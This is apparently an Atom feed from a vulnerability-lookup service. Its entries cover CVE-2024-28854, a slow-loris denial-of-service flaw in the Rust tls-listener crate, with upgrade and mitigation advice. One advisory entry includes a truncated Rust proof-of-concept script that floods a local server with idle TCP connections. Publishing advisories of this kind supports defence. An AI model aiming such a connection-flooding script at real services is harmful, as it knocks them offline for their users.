<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-15T10:44:54.606770+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-4523</id>
    <title>EUVD-2026-4523</title>
    <updated>2026-10-15T10:44:56.396447+00:00</updated>
    <content>EUVD-2026-4523</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-4523"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2024-28854</id>
    <title>fkie_cve-2024-28854</title>
    <updated>2026-10-15T10:44:56.396480+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2024-28854"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-2qph-qpvm-2qf7</id>
    <title>GHSA-2qph-qpvm-2qf7 — tls-listener affected by the slow loris vulnerability with default configuration</title>
    <updated>2026-10-15T10:44:56.396515+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> crates.io: tls-listener</p>
<p>### Summary
With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS.</p>
<p>### Details
The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack.</p>
<p>```rust
/// Default number of concurrent handshakes
pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
/// Default timeout for the TLS handshake.
pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);
```</p>
<p>### PoC</p>
<p>Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.</p>
<p>```rust
use std::{net::ToSocketAddrs, time::Duration};
use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};</p>
<p>#[tokio::main]
async fn main() {
    const N: usize = 1024;
    const T: Duration = Duration::from_secs(10);</p>
<p>let url = "127.0.0.1:3000";
    let sockets: Vec&lt;_&gt; = url
        .to_socket_addrs()
        .unwrap()
        .inspect(|s| println!("{s:?}"))
        .collect();</p>
<p>let mut js = JoinSet::new();</p>
<p>let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
    int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
    for _ in 0..10000 {
        for &amp;socket in &amp;sockets {
            int.tick().await;
            js.spawn(async move {
                let mut stream = TcpStream::connect…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-2qph-qpvm-2qf7"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/gsd-2024-28854</id>
    <title>gsd-2024-28854</title>
    <updated>2026-10-15T10:44:56.396564+00:00</updated>
    <content>gsd-2024-28854</content>
    <link href="https://cve.radiocsirt.org/vuln/gsd-2024-28854"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/opensuse-su-2024:14009-1</id>
    <title>openSUSE-SU-2024:14009-1 — cargo-audit-advisory-db-20240528-1.1 on GA media</title>
    <updated>2026-10-15T10:44:56.396578+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>cargo-audit-advisory-db-20240528-1.1 on GA media</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/opensuse-su-2024:14009-1"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/rustsec-2024-0341</id>
    <title>RUSTSEC-2024-0341 — Slow loris vulnerability with default configuration</title>
    <updated>2026-10-15T10:44:56.396597+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> crates.io: tls-listener</p>
<p>tls-listener is a rust lang wrapper around a connection listener to support TLS. With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. This impacts any publicly accessible service using the default configuration of tls-listener in versions prior to 0.10.0. Users are advised to upgrade. Users unable to upgrade may mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/rustsec-2024-0341"/>
  </entry>
</feed>
